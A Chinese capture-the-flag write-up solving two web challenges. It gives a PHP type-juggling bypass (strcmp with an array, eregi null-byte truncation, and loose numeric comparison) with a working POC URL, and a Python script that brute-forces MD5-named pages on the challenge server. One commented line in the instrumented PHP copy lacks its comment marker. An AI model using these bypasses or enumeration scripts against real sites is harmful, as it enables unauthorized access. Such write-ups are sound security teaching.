一个简单的代码审计和MD5爆破脚本

0x01 php是最好的语言

代码审计。

描述:据说php是最好的语言,perfect?来试试看。地址:http://218.76.35.75:20114/

源码如下:

<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
    is_numeric(@$a["bar1"])?die("nope"):NULL;
    if(@$a["bar1"]){
        ($a["bar1"]>2016)?$v1=1:NULL;
    }
    if(is_array(@$a["bar2"])){
        if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
        $pos = array_search("nudt", $a["a2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["bar2"] as $key=>$val){
            $val==="nudt"?die("nope"):NULL;
        }
        $v2=1;
    }
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
        strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
    }
}
if($v1 && $v2 && $v3){
    include "flag.php";
    echo $flag;
}
?>

tips:在本地搭建环境一个一个输出,看是什么情况

构造源码如下:

<?php
$v1=0;$v2=0;$v3=0;
//给3个变量赋值
$a=(array)json_decode(@$_GET['foo']);
//json_decode解码,所以要知道编码的样式
var_dump($a);
echo '</br>';
var_dump($_GET['foo']);
echo '</br>';
if(is_array($a)){
    //判断是不是数组
    echo ($a["bar1"]);
    echo '</br>';
    echo is_numeric(@$a["bar1"]);
    echo '</br>';
    is_numeric(@$a["bar1"])?die("nope1"):NULL;
    //判断是不是纯数字或数字字符串,如果是就die输出nope1
    if(@$a["bar1"]){
        ($a["bar1"]>2016)?$v1=1:NULL;
        //php弱类型,其他类型和整形比较时,先把其他类型转化为整形
        echo $v1;
        echo '</br>';
    }
    if(is_array(@$a["bar2"])){
        //判断是不是数组
        if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope2");
        //or成立则die输出nope2,所以需要count($a["bar2"])==5和is_array($a["bar2"][0])有值
        echo "good1";
        echo '</br>';
        $pos = array_search("nudt", $a["a2"]);
        //有a2,并且值中有字符串“nudt”
        var_dump($pos);
        $pos===false?die("nope3"):NULL;
        foreach($a["bar2"] as $key=>$val){
            $val==="nudt"?die("nope3"):NULL;
            //bar2中不能有字符nudt
        }
        $v2=1;
        echo ($v2);
        echo '</br>';
    }
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
    //需要strcmp($c[1],$d)和$c[1]!==$d同时成立,即$c$d既相等又不相等
    //php弱类型,strcmp函数中数组和字符串比较返回null
        echo "good2";
        eregi("3|1|c",$d.$c[0])?die("nope4"):NULL;
        //eregi函数有个%00截断漏洞
        echo "good3";
        var_dump(strpos(($c[0].$d), "htctf2016"));
        strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
        $c[0]和$d连接返回字符串htctf2016的位置
        echo "good4";
    }
    echo $v3;
}
if($v1 && $v2 && $v3){
    include "flag.php";
    echo "hello,Get It!";
    //echo "flag{php_i5_n0t_b4d}";
}
?>

最终的POC为:

http://127.0.0.1:8080/hetian/test.php?foo={"bar1":"2017a","bar2":[[1],2,3,4,5],"a2":"nudt"}&cat[1][]=111&cat[0]=aahtctf2016&dog=%00

效果为:

0x02 忘记密码了

描述:在这个网站,记录了小伙伴们的密码。 可是slash的密码怎么也找不到了,你能帮忙找出来么
地址:http://218.76.35.75:20115

MD5爆破python脚本

打开其他的两个发现page是名字加三位数字的md5值。

脚本如下:

# -*- coding: utf8 -*-
import requests
import hashlib

url = "http://218.76.35.75:20115/index.php?page="

for id in range(100,999):

    id=str(id)

    id='slash'+id

    #print id

    payload = hashlib.md5(id).hexdigest()

    poc = url+payload

    #print poc

    conn = requests.get(poc)

    res = conn.content

    res = str(res)

    if res.find(r"文件不存在,请返回")>0 or res.find(r"error!")>0:

        print "error!"

    else:

        print poc

        print payload

        break

效果如下:

大爷,赏个铜板呗!